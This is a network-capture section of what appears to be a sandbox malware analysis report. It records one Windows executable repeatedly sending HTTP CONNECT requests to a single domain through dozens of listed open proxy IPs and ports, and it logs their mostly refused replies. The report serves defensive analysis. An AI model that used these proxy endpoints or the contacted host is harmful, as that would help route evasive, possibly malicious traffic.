Mar 11, 2024 15:21:09.591046095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.700686932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:18.700758934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:30.700237989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:42.715655088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:54.715601921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:18.715572119 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:06.715501070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
985	192.168.2.9	53207	103.23.100.1	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.469748020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
986	192.168.2.9	53225	83.243.92.154	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.475476027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
987	192.168.2.9	53252	147.75.92.251	9401	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.479832888 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:06.761406898 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
988	192.168.2.9	53233	93.190.141.102	14888	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.484381914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.781023979 CET	226	IN	HTTP/1.1 403 Forbidden Date: Mon, 11 Mar 2024 14:21:06 GMT Content-Length: 101 Content-Type: text/plain; charset=utf-8 Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985
Mar 11, 2024 15:21:07.640233040 CET	226	IN	HTTP/1.1 403 Forbidden Date: Mon, 11 Mar 2024 14:21:06 GMT Content-Length: 101 Content-Type: text/plain; charset=utf-8 Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
989	192.168.2.9	53262	163.172.132.238	16379	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.539314985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
990	192.168.2.9	52923	8.213.128.90	6666	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.539839029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.506968021 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
991	192.168.2.9	53256	95.164.89.123	8888	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.539839983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
992	192.168.2.9	53369	142.54.229.249	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.540466070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
993	192.168.2.9	53278	107.173.209.7	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.540790081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.781311989 CET	401	IN	HTTP/1.0 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="login" Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 32 3e 3c 68 33 3e 41 63 63 65 73 73 20 74 6f 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 69 73 61 6c 6c 6f 77 65 64 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 72 20 79 6f 75 20 6e 65 65 64 20 76 61 6c 69 64 20 75 73 65 72 6e 61 6d 65 2f 70 61 73 73 77 6f 72 64 20 74 6f 20 75 73 65 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>407 Proxy Authentication Required</title></head><body><h2>407 Proxy Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
994	192.168.2.9	53253	37.187.77.58	29380	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.541107893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
995	192.168.2.9	51359	94.154.152.4	8079	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.541196108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.591191053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.700686932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:18.700767994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:30.700241089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:33.321728945 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
996	192.168.2.9	53376	192.169.214.249	45108	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.542280912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
997	192.168.2.9	53160	106.105.218.244	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.543591976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.978244066 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 14:21:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
998	192.168.2.9	52657	146.190.85.79	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.543592930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.714545965 CET	536	IN	HTTP/1.1 503 Service Unavailable Server: squid/4.6 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 14:21:14 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3873 X-Squid-Error: ERR_DNS_FAIL 0 Vary: Accept-Language Content-Language: en Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2018 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERRO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
999	192.168.2.9	53229	171.250.218.113	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.543642998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1000	192.168.2.9	52988	8.213.128.90	808	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.544958115 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1001	192.168.2.9	53415	43.153.90.69	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.544958115 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1002	192.168.2.9	53295	46.17.63.166	18888	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.545649052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.838592052 CET	339	IN	HTTP/1.1 403 Forbidden Server: squid/4.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 14:21:06 GMT Content-Type: text/html;charset=utf-8 Content-Length: 5 X-Squid-Error: TCP_RESET 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from proxy.wakoopa.com Via: 1.1 proxy.wakoopa.com (squid/4.7) Connection: keep-alive Data Raw: 72 65 73 65 74 Data Ascii: reset

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1003	192.168.2.9	53310	185.65.205.171	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.546118975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.325269938 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.325654030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.137950897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.637933016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.138068914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:20.654727936 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1004	192.168.2.9	52985	8.213.128.90	4506	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.547480106 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:08.183315992 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1005	192.168.2.9	53266	173.249.20.169	9060	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.551309109 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:28.626836061 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1006	192.168.2.9	53419	43.153.90.69	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

